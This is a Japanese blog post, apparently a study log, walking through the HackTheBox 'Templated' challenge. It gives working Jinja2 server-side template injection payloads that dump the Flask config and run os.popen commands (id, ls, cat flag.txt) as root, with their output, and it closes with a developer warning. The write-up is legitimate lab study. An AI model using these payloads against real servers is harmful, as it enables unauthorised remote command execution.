#23 [HTB] Templated
ゴールデンウィークです。
実践的なセキュリティ技術を身につけるべく、本格的に勉強をはじめます。
HackTheBoxのChallenge「Templated」をやりました。
Walk Through
ブラウザでページを開くと
Site still under construction
Proudly powered by Flask/Jinja2
FlaskとJinja2でできているページのようです。
適当に/loginにアクセス
//404
The page 'login' could not be found
'login'の部分はURLから動的に表示しているようです。
Jinja2は、{{ }}や{% %}で動的な表示を行います。
/{{ 10 * 10 }}
//404
The page '100' could not be found
ビンゴです。SSTI(サーバーサイドテンプレートインジェクション)脆弱性があります。
/{{ config.items() }}
The page 'dict_items([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None),
('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'),
('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False),
('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(seconds=43200)),
('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True),
('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093)])' could not be found
こんな感じで機微な情報が見えてしまったり、不正なコマンドを実行できてしまいます。
/{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
The page 'uid=0(root) gid=0(root) groups=0(root) ' could not be found
コマンドも実行できました。
/{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
The page 'bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var '
could not be found
flag.txtがあります。
/{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('cat flag.txt')['read']()}}
The page 'HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!} ' could not be found
あっさりフラグが取れました。
まとめ
ウェブサイト制作では、Jinjaのようなテンプレートエンジンをめちゃくちゃ使います。ちょっとしたミスで、サーバー内部まで侵入されてしまう可能性があると考えると恐ろしいですね。入力値をそのまま出力するような箇所は、残さないよう気をつけなければいけません。
EOF